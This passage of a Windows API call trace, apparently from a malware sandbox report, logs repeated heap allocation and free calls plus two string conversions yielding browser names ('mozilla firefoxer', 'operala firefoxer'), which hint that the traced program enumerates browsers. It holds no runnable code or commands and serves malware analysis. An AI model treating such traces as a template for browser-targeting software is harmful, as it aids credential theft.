hHeap=0x630000, dwFlags=0x0, lpMem=0x693608 | out: hHeap=0x630000) returned 1 [0066.986] GetProcessHeap () returned 0x630000 [0066.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693978 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x17) returned 0x685f30 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693978 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693cc0 | out: hHeap=0x630000) returned 1 [0066.987] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692800, cbMultiByte=15, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="mozilla firefoxer") returned 15 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a17d8 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a17d8, Size=0xca) returned 0x69e080 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6925f8 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69e080, Size=0xbc) returned 0x685f30 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.987] GetProcessHeap () returned 0x630000 [0066.987] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.987] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.988] GetProcessHeap () returned 0x630000 [0066.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.988] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692458 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692498 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.989] GetProcessHeap () returned 0x630000 [0066.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6926b8 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6925f8 [0066.990] GetProcessHeap () returned 0x630000 [0066.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.990] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x39) returned 0x685f30 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693cc0 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x693ce8 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x27) returned 0x685f30 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6926b8 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693cc0 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693ce8 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693cc0 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x17) returned 0x685f30 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693cc0 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x11) returned 0x685f30 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.991] GetProcessHeap () returned 0x630000 [0066.991] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664f40, cbMultiByte=5, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="operala firefoxer") returned 5 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a1538 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a1538, Size=0xca) returned 0x69e230 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692618 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69e230, Size=0xbc) returned 0x685f30 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e00 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.992] GetProcessHeap () returned 0x630000 [0066.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.992] GetProcessHeap () returned 0x630000 [0066.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e00 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e00 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e00 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.993] GetProcessHeap () returned 0x630000 [0066.993] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.993] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664cf8 [0066.994] GetProcessHeap () returned 0x630000 [0066.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664cf8 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 